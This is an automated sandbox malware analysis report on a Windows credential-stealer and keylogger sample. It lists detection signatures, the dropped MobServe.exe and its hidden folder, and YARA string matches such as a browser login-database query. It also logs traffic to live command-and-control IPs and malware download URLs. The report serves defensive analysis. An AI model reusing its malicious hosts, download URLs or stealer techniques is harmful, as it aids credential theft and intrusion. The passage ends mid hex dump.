Edit tour

Windows Analysis Report
T2dvU8f2xg.exe

Overview

General Information

Sample name:	T2dvU8f2xg.exe renamed because original name is a hash value
Original sample name:	aff26ef08f47b7543f4f84e5fd6d378d950f9b7d99a2397e3e56fb064db0efe2.exe
Analysis ID:	1577424
MD5:	e94178c1c416647220889ffd3bdecfb5
SHA1:	2b14a3564d79362ba2bdfce85fca4c4b595531bd
SHA256:	aff26ef08f47b7543f4f84e5fd6d378d950f9b7d99a2397e3e56fb064db0efe2
Tags:	107-148-62-100exeuser-JAMESWT_MHT
Infos:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

AI detected suspicious sample

Contains VNC / remote desktop functionality (version string found)

Contains functionality to steal Chrome passwords or cookies

Machine Learning detection for sample

PE file has nameless sections

Potentially malicious time measurement code found

Tries to harvest and steal browser information (history, passwords, etc)

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Binary contains a suspicious time stamp

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to retrieve information about pressed keystrokes

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries keyboard layouts

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

T2dvU8f2xg.exe (PID: 7852 cmdline: "C:\Users\user\Desktop\T2dvU8f2xg.exe" MD5: E94178C1C416647220889FFD3BDECFB5)

MobServe.exe (PID: 4620 cmdline: "C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe" MD5: 074ED5F745FD9A2EF6F29FD2D9AFB07A)

XWin_MobaX.exe (PID: 3800 cmdline: "C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe" -silent-dup-error -notrayicon -nolisten inet6 -hostintitle +bs -clipboard -nowgl -multiwindow -noreset :0 MD5: 6F1143FB1F02C715CBEF79C271A7E4B6)

xkbcomp_w32.exe (PID: 6808 cmdline: "C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe" -w 1 "-RC:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb" -xkm "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a06188" -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm" MD5: B2B22157777ED19C9F1369E2D45C1510)

conhost.exe (PID: 7612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

xkbcomp_w32.exe (PID: 2996 cmdline: "C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe" -w 1 "-RC:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb" -xkm "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\xkb_a06188" -em1 "The XKEYBOARD keymap compiler (xkbcomp) reports:" -emp "> " -eml "Errors from xkbcomp are not fatal to the X server" "C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\server-0.xkm" MD5: B2B22157777ED19C9F1369E2D45C1510)

conhost.exe (PID: 2372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MobServe.exe (PID: 2672 cmdline: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe MD5: 074ED5F745FD9A2EF6F29FD2D9AFB07A)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
T2dvU8f2xg.exe	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
T2dvU8f2xg.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
T2dvU8f2xg.exe	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x12dad85:$string1: SELECT origin_url, username_value, password_value FROM logins 0x135b09d:$string2: API call with %s database connection pointer 0x135b0ed:$string3: os_win.c:%d: (%lu) %s(%s) - %s
T2dvU8f2xg.exe	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x360:$s3: .enigma2
T2dvU8f2xg.exe	INDICATOR_EXE_Packed_Loader	Detects packed executables observed in Molerats	ditekSHen	0x13f0a32:$l1: loaderx86.dll 0x13f0a32:$l2: loaderx86 0x13f5df2:$l2: loaderx86 0x13d5b5c:$s1: ImportCall_Zw 0x13d5be0:$s1: ImportCall_Zw 0x13d63e0:$s1: ImportCall_Zw 0x13d6424:$s1: ImportCall_Zw 0x13d6468:$s1: ImportCall_Zw 0x13d64bc:$s1: ImportCall_Zw 0x13d651c:$s1: ImportCall_Zw 0x13d6564:$s1: ImportCall_Zw 0x13d65ac:$s1: ImportCall_Zw 0x13d65f0:$s1: ImportCall_Zw 0x13d6648:$s1: ImportCall_Zw 0x13db154:$s2: DllInstall 0x13db164:$s2: DllInstall 0x13d99c0:$s3: evb*.tmp 0x13db1b0:$s5: LoadLibrary failed with module
T2dvU8f2xg.exe	MALWARE_Win_EXEPWSH_DLAgent	Detects SystemBC	ditekSHen	0x4b9b14:$pwsh: powershell 0x4cedb9:$pwsh: powershell 0x546217:$pwsh: powershell 0x5462c5:$pwsh: powershell 0x546363:$pwsh: powershell 0x55548f:$pwsh: powershell 0x5554e4:$pwsh: powershell 0x5c6885:$pwsh: powershell 0x69fe1d:$pwsh: powershell 0x69fe77:$pwsh: powershell 0x69fec8:$pwsh: powershell 0x101e364:$pwsh: powershell 0x459188:$s2: User-Agent: 0x1364df9:$s2: User-Agent: 0x13efe30:$s4: LdrLoadDll 0x43972a:$v6: start 0x439e0e:$v6: start 0x44f048:$v6: start 0x44f1dc:$v6: start 0x496e36:$v6: start 0x498f3b:$v6: start
Click to see the 1 entries

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\MobServe[1].exe	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x4f63bd:$string1: SELECT origin_url, username_value, password_value FROM logins 0x74f648:$string2: API call with %s database connection pointer 0x74fa48:$string3: os_win.c:%d: (%lu) %s(%s) - %s
C:\Users\user\AppData\Local\Temp\temp_MobServe.exe	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x4f63bd:$string1: SELECT origin_url, username_value, password_value FROM logins 0x74f648:$string2: API call with %s database connection pointer 0x74fa48:$string3: os_win.c:%d: (%lu) %s(%s) - %s

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.1315996686.0000000000400000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x360:$s3: .enigma2
00000000.00000002.3779477780.0000000000400000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x360:$s3: .enigma2
Process Memory Space: T2dvU8f2xg.exe PID: 7852	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.T2dvU8f2xg.exe.400000.0.raw.unpack	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x360:$s3: .enigma2
0.0.T2dvU8f2xg.exe.400000.0.raw.unpack	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x360:$s3: .enigma2
0.2.T2dvU8f2xg.exe.10000000.6.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x2a51b8:$string1: SELECT origin_url, username_value, password_value FROM logins 0x3254d0:$string2: API call with %s database connection pointer 0x325520:$string3: os_win.c:%d: (%lu) %s(%s) - %s
6.0.MobServe.exe.7ff658940000.0.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x4f63bd:$string1: SELECT origin_url, username_value, password_value FROM logins 0x74f648:$string2: API call with %s database connection pointer 0x74fa48:$string3: os_win.c:%d: (%lu) %s(%s) - %s
5.0.MobServe.exe.7ff658940000.0.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x4f63bd:$string1: SELECT origin_url, username_value, password_value FROM logins 0x74f648:$string2: API call with %s database connection pointer 0x74fa48:$string3: os_win.c:%d: (%lu) %s(%s) - %s
0.0.T2dvU8f2xg.exe.400000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0.0.T2dvU8f2xg.exe.400000.0.unpack	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x360:$s3: .enigma2
0.0.T2dvU8f2xg.exe.400000.0.unpack	MALWARE_Win_EXEPWSH_DLAgent	Detects SystemBC	ditekSHen	0x4ba714:$pwsh: powershell 0x4cf9b9:$pwsh: powershell 0x546e17:$pwsh: powershell 0x546ec5:$pwsh: powershell 0x546f63:$pwsh: powershell 0x55608f:$pwsh: powershell 0x5560e4:$pwsh: powershell 0x5c7485:$pwsh: powershell 0x6a0a1d:$pwsh: powershell 0x6a0a77:$pwsh: powershell 0x6a0ac8:$pwsh: powershell 0x1082c14:$pwsh: powershell 0x459d88:$s2: User-Agent: 0x14546e0:$s4: LdrLoadDll 0x43a32a:$v6: start 0x43aa0e:$v6: start 0x44fc48:$v6: start 0x44fddc:$v6: start 0x497a36:$v6: start 0x499b3b:$v6: start 0x49af8f:$v6: start
0.2.T2dvU8f2xg.exe.400000.0.unpack	INDICATOR_EXE_Packed_Enigma	Detects executables packed with Enigma	ditekSHen	0x360:$s3: .enigma2
6.2.MobServe.exe.7ff658940000.0.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x4f63bd:$string1: SELECT origin_url, username_value, password_value FROM logins 0x74f648:$string2: API call with %s database connection pointer 0x74fa48:$string3: os_win.c:%d: (%lu) %s(%s) - %s
5.2.MobServe.exe.7ff658940000.3.unpack	OlympicDestroyer_1	OlympicDestroyer Payload	kevoreilly	0x4f63bd:$string1: SELECT origin_url, username_value, password_value FROM logins 0x74f648:$string2: API call with %s database connection pointer 0x74fa48:$string3: os_win.c:%d: (%lu) %s(%s) - %s
Click to see the 6 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T13:20:46.914092+0100	2803305	3	Unknown Traffic	192.168.2.10	49833	107.148.62.100	8084	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://scrt1.nyazz.com/MobServe.exe	Avira URL Cloud: Label: malware
Source: https://ssh.0523qyfw.com/MobServe.dll	Avira URL Cloud: Label: malware

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 93.9% probability

Machine Learning detection for sample

Source: T2dvU8f2xg.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1004B352 CryptUnprotectData,__acrt_iob_func,	0_2_1004B352
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1008B3D0 MultiByteToWideChar,MultiByteToWideChar,GetLastError,CryptAcquireContextW,__fprintf_l,CryptGetProvParam,GetLastError,CryptReleaseContext,CryptGetProvParam,GetLastError,CryptReleaseContext,	0_2_1008B3D0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1008B6C0 CryptEnumProvidersW,CryptEnumProvidersW,CryptEnumProvidersW,GetLastError,GetLastError,	0_2_1008B6C0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_100899C0 MultiByteToWideChar,MultiByteToWideChar,CryptAcquireContextW,CryptReleaseContext,__fprintf_l,GetLastError,	0_2_100899C0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1008AE30 CryptEnumProvidersW,GetLastError,CryptEnumProvidersW,GetLastError,	0_2_1008AE30
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10273E80 BCryptGenRandom,	0_2_10273E80
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_1008AFE0 CryptAcquireContextW,CryptReleaseContext,	0_2_1008AFE0

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

File created: C:\Users\user\AppData\Local\Temp\Mxt242\tmp\home_user\README.txt

Jump to behavior

Source: unknown

HTTPS traffic detected: 118.107.29.172:443 -> 192.168.2.10:49723 version: TLS 1.2

Source:	Binary string: solve.pdBlocked source: T2dvU8f2xg.exe, 00000000.00000003.1368088807.000000000A4B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: corMatrix$corMatrix.compSymm corMatrix.corAR1"corMatrix.corARMA"corMatrix.corCAR1*corMatrix.corCompSymm$corMatrix.corIdent(corMatrix.corNatural(corMatrix.corSpatial&corMatrix.corStruct"corMatrix.corSymm&corMatrix.pdBlocked(corMatrix.pdCompSymm corMatrix.pdDiag"corMatrix.pdIdent source: T2dvU8f2xg.exe, 00000000.00000003.1367701010.000000000A118000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: coef.pdBlocked source: T2dvU8f2xg.exe, 00000000.00000003.1367701010.000000000A118000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: summary.pam"summary.pdBlocked$summary.pdCompSymm source: T2dvU8f2xg.exe, 00000000.00000003.1368088807.000000000A4B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: pdConstructpdConstruct.pdBlocked,pdConstruct.pdCompSymm$pdConstruct.pdDiag&pdConstruct.pdIdentpdConstruct.pdLogChol"pdConstruct.pdMat*pdConstruct.pdNatural$pdConstruct.pdSymm source: T2dvU8f2xg.exe, 00000000.00000003.1368088807.000000000A4B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: logDet.corIdent logDet.corStruct logDet.pdBlocked"logDet.pdCompSymm source: T2dvU8f2xg.exe, 00000000.00000003.1367701010.000000000A118000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Names.pdBlocked source: T2dvU8f2xg.exe, 00000000.00000003.1367701010.000000000A118000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: formula.nlsList"formula.pdBlocked source: T2dvU8f2xg.exe, 00000000.00000003.1367701010.000000000A118000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 4x nop then movd mm0, dword ptr [edx]

0_2_1000A4F0

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 8087
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 8084
Source: unknown	Network traffic detected: HTTP traffic on port 8084 -> 49965

Source: global traffic	TCP traffic: 192.168.2.10:49717 -> 154.19.200.133:8087
Source: global traffic	TCP traffic: 192.168.2.10:49833 -> 107.148.62.100:8084

Source: global traffic	HTTP traffic detected: POST /count HTTP/1.1Host: 154.19.200.133:8087Accept: /Content-Length: 0Content-Type: application/x-www-form-urlencoded
Source: global traffic	HTTP traffic detected: GET /?a=w64&h=107.148.62.100&t=ws_&p=8084 HTTP/1.1Host: 107.148.62.100:8084Data Raw: 00 00 00 00 00 00 00 26 9a 84 41 f8 7f 00 00 00 00 94 58 f6 7f 00 00 02 00 00 00 f8 7f 00 00 00 00 00 00 00 00 00 00 af f2 2b 3f f8 7f 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 45 45 88 41 f8 7f 00 00 00 50 b6 04 02 00 00 00 02 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 b0 33 d4 58 f6 7f 00 00 e0 31 50 7f fc 01 00 00 ff 9a 84 41 f8 7f 00 00 48 a0 11 59 f6 7f 00 00 00 00 94 58 f6 7f 00 00 02 00 00 00 f8 7f 00 00 e0 31 50 7f fc 01 00 00 00 00 00 00 00 00 00 00 85 03 fe 7f 00 00 00 00 15 00 00 00 00 00 00 00 d3 e6 86 41 f8 7f 00 00 00 12 65 3e f8 7f 00 00 b4 d9 88 41 f8 7f 00 00 00 00 00 00 00 00 00 00 00 20 b5 04 02 00 00 00 00 00 00 00 00 00 00 00 6f df 85 41 f8 7f 00 00 00 12 65 3e f8 7f 00 00 55 79 84 41 f8 7f 00 00 00 00 50 7f fc 01 00 00 b8 99 52 7f fc 01 00 00 00 20 b5 04 02 00 00 00 00 12 65 3e f8 7f 00 00 00 5b 52 7f fc 01 00 00 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 99 52 7f fc 01 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 b0 99 52 7f fc 01 00 00 0f 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 7f 03 00 00 f8 7f 00 00 50 01 50 7f fc 01 00 00 00 00 00 00 00 00 00 00 55 00 00 00 00 00 00 00 ff 03 00 00 00 00 00 00 b0 99 52 7f fc 01 00 00 00 00 00 00 00 00 00 00 80 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 1d 79 84 41 f8 7f 00 00 3d 79 84 41 f8 7f 00 00 80 00 00 00 00 00 00 00 10 a5 52 7f fc 01 00 00 55 00 00 00 00 00 00 00 a8 b4 50 7f fc 01 00 00 50 01 50 7f fc 01 00 00 01 00 00 00 00 00 00 00 8f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 b5 50 7f fc 01 00 00 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b b9 85 41 f8 7f 00 00 19 00 0e 00 00 00 00 00 a0 03 00 00 00 00 00 00 30 34 53 7f fc 01 00 00 00 00 00 00 00 00 00 00 0c 06 00 0a f8 7f 00 00 d4 ac 50 7f fc 01 00 00 00 00 00 00 00 00 00 00 0c 06 00 0a fc 01 00 00 00 00 00 00 00 00 00 00 03 00 00 03 fc 01 00 00 c4 02 4b 7f fc 01 00 00 68 4b 8a 41 f8 7f 00 00 90 00 00 00 00 00 00 00 0c 06 00 0a fc 01 00 00 00 00 00 00 00 00 00 00 0c 06 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 03 00 00 00 00 88 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 50 7f fc 01 00 00 89 f8 ff 05 02 00 00 00 08 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 03 00 00 00 00 00 00 90 03 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 50 7f fc 01 00 00 3a 00 00 00 00 00 00 00 4d b4 85 41 f8 7f 00 00 00 00 50 7f fc 01 00 00 0a 00 30 00 00 00 00 00 90 03 00 00 00 00 00 00 64 43 88 41 f8 7f 00 00 00 05 50 7f fc 01 00 00 44 f8 ff 05 02 00 00 00 00 00 00 00 03 00 00 00 ee 44 88 41 f8 7f 00 00 20 2b 88 41 f8 7f 00 00 50 0b 50 7f fc 01 00 00 60 08 53 7f fc 01 00 00 a6 ff 84 41 f8 7f 00 00 60 08 53 7f fc 01 00 00 70 f2 fa 83 a6 a4 00 00 Data Ascii: &AX+?
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 107.148.62.100:8084Upgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: Z01oeZp0RyHViA8BlsX5ww==
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 107.148.62.100:8084Upgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: INTaygQMctiSZLxNTEhkuw==
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 107.148.62.100:8084Upgrade: websocketConnection: UpgradeSec-WebSocket-Version: 13Sec-WebSocket-Key: WR2Jv3jZ9sYECBfB7QiYYw==

Source: Joe Sandbox View

IP Address: 118.107.29.172 118.107.29.172

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.10:49833 -> 107.148.62.100:8084

Source: unknown	TCP traffic detected without corresponding DNS query: 154.19.200.133
Source: unknown	TCP traffic detected without corresponding DNS query: 154.19.200.133
Source: unknown	TCP traffic detected without corresponding DNS query: 154.19.200.133
Source: unknown	TCP traffic detected without corresponding DNS query: 154.19.200.133
Source: unknown	TCP traffic detected without corresponding DNS query: 154.19.200.133
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100
Source: unknown	TCP traffic detected without corresponding DNS query: 107.148.62.100

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_1004BB4E GetTempPathW,GetLastError,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,InternetOpenW,GetLastError,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,InternetOpenUrlW,GetLastError,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,InternetCloseHandle,CreateFileW,GetLastError,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,InternetCloseHandle,InternetCloseHandle,InternetReadFile,WriteFile,CloseHandle,InternetCloseHandle,InternetCloseHandle,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CreateDirectoryW,GetLastError,GetLastError,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,SetFileAttributesW,MoveFileExW,GetLastError,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z,??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,

0_2_1004BB4E

Source: global traffic	HTTP traffic detected: GET /MobServe.exe HTTP/1.1User-Agent: DownloaderHost: scrt1.nyazz.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /wmob HTTP/1.1Host: www.61xdm.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /?a=w64&h=107.148.62.100&t=ws_&p=8084 HTTP/1.1Host: 107.148.62.100:8084Data Raw: 00 00 00 00 00 00 00 26 9a 84 41 f8 7f 00 00 00 00 94 58 f6 7f 00 00 02 00 00 00 f8 7f 00 00 00 00 00 00 00 00 00 00 af f2 2b 3f f8 7f 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 45 45 88 41 f8 7f 00 00 00 50 b6 04 02 00 00 00 02 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 b0 33 d4 58 f6 7f 00 00 e0 31 50 7f fc 01 00 00 ff 9a 84 41 f8 7f 00 00 48 a0 11 59 f6 7f 00 00 00 00 94 58 f6 7f 00 00 02 00 00 00 f8 7f 00 00 e0 31 50 7f fc 01 00 00 00 00 00 00 00 00 00 00 85 03 fe 7f 00 00 00 00 15 00 00 00 00 00 00 00 d3 e6 86 41 f8 7f 00 00 00 12 65 3e f8 7f 00 00 b4 d9 88 41 f8 7f 00 00 00 00 00 00 00 00 00 00 00 20 b5 04 02 00 00 00 00 00 00 00 00 00 00 00 6f df 85 41 f8 7f 00 00 00 12 65 3e f8 7f 00 00 55 79 84 41 f8 7f 00 00 00 00 50 7f fc 01 00 00 b8 99 52 7f fc 01 00 00 00 20 b5 04 02 00 00 00 00 12 65 3e f8 7f 00 00 00 5b 52 7f fc 01 00 00 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 99 52 7f fc 01 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 b0 99 52 7f fc 01 00 00 0f 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 7f 03 00 00 f8 7f 00 00 50 01 50 7f fc 01 00 00 00 00 00 00 00 00 00 00 55 00 00 00 00 00 00 00 ff 03 00 00 00 00 00 00 b0 99 52 7f fc 01 00 00 00 00 00 00 00 00 00 00 80 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 1d 79 84 41 f8 7f 00 00 3d 79 84 41 f8 7f 00 00 80 00 00 00 00 00 00 00 10 a5 52 7f fc 01 00 00 55 00 00 00 00 00 00 00 a8 b4 50 7f fc 01 00 00 50 01 50 7f fc 01 00 00 01 00 00 00 00 00 00 00 8f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 